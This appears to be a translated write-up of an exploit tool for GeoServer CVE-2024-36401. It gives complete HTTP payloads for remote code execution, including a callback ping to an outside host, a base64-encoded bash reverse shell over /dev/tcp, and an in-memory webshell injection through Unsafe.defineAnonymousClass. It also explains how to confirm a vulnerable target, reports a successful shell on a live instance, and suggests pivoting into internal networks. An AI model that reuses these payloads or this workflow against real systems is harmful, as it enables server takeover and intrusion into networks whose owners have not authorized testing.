
geoserver CVE-2024-36401漏洞利用工具
geoserver CVE-2024-36401 Ambiente: JDK8 Aviso: Apenas para testes autorizados. O autor não se responsabiliza por quaisquer consequências decorrentes do uso indevido. Por favor, cumpra as leis e regulamentos!
1, Payload padrão:
POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> </wfs:GetPropertyValue>
Aqui preste atenção: <wfs:Query typeNames='sf:archsites'/>
Neste ponto, se você precisar usar expressões regulares para obter, este é um identificador básico do site sf:archsites. Você precisa primeiro obter as informações de
wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>, e então pode usar a concatenação.
Ao verificar a vulnerabilidade wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
Na verdade, nem é necessário consultar registros DNS
A lógica simples é verificar se existe uma classe de exceção anômala
Como java.lang.ClassCastException
Claro, isso é apenas a lógica de verificação.
Esta resposta é originalmente 400, é fácil cair aqui. Você precisa verificar a página de erro e depois procurar os dados.
Primeiro, você precisa fazer uma requisição para <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>
Esta informação representa que você pode obter o wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>
Em seguida, atribua diretamente ao texto e chame uma função para extrair as informações do texto e concatená-las no parâmetro <wfs:Query typeNames='sf:archsites'/>.
Isso tornará a lógica de verificação mais precisa. Escreva a classe de detecção assim.
Se você usar apenas <wfs:Query typeNames='sf:archsites'/> repetidamente, a probabilidade de erro é alta, e será informado que não foi possível encontrar sf:archsites.
Classe de reverse shell
Vamos ver o payload de reverse shell:
POST /geoserver/wfs HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Content-Type: application/xml Content-Length: 438
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference> </wfs:GetPropertyValue>
Observe aqui:
<wfs:Query typeNames='sf:archsites'/>
Da mesma forma, primeiro obtenha o valor com regex e depois concatene-o.
Em seguida, faça a requisição diretamente.
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx é o base64 codificado.
Ao programar, converta a entrada do usuário bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 para base64.
Em seguida, faça a requisição e, da mesma forma, procure pela classe de exceção chave para determinar a lógica.
Classe de injeção de webshell na memória
Aqui POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 20383
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceeval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),' var str=""; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance(); ')</wfs:valueReference> </wfs:GetPropertyValue>
Aqui também tem <wfs:Query typeNames='sf:archsites'/>, como de costume, primeiro obtenha o valor.
Em star, cole o código base64 do seu webshell na memória gerado.
Em seguida, a lógica de verificação.
Pontos onde é fácil errar
https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd"> <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName"> ows:ExceptionTextCould not locate {http://www.openplans.org/spearfish}archsites in catalog.<
Ponto de existência da vulnerabilidade: <ows:Exception exceptionCode="NoApplicableCode"> ows:ExceptionTextjava.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a) class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText> </ows:Exception>
Resumindo, a vulnerabilidade existe quando aparece java.lang.ClassCastException.
Falso positivo é: Could not locate {http://www.openplans.org/spearfish}archsites in catalog.
Na chamada da função de texto, é necessário atribuir o valor antecipadamente para evitar exceções de ponteiro nulo. Concatene antes da requisição e verifique a exceção no retorno; a verificação é feita dentro da exceção.
Por fim, implementamos esta ferramenta de exploração.

Vamos testar a vulnerabilidade.
Efeito de execução da ferramenta


Dica: Sem resposta é igual a vulnerabilidade não encontrada; quando a vulnerabilidade existe, aparecerá um sinal de +.
Encontrada vulnerabilidade, obtenha reverse shell, faça teste de conexão. Se funcionar, faça testes na rede interna.
Possíveis otimizações: adicionar webshell personalizado na memória, verificação em lote, etc.

Foi detectada a vulnerabilidade, obtido o endpoint, e o reverse shell foi bem-sucedido.
Agora vamos testar a injeção de webshell na memória.

Mostra que o webshell foi injetado com sucesso. Vamos conectar para verificar.

É possível conectar.
Dica: Ao testar webshell na memória, "This GeoServer instance is running version 2.15.2. For more information please contact the ..."
A injeção de webshell funcionou nesta versão.
Versões mais recentes podem falhar.
Outras versões testem por conta própria.

Adicionada funcionalidade de webshell personalizado na memória.

Adicionados testes de ls e ping.
Corrigido problema de injeção de webshell na memória.
Adicionado reconhecimento de Tomcat e Jetty.
O webshell Godzilla usa por padrão o ambiente Jetty para injeção.
Webshell personalizado pode escolher o ambiente Tomcat para teste.
Versão em lote ainda não foi publicada.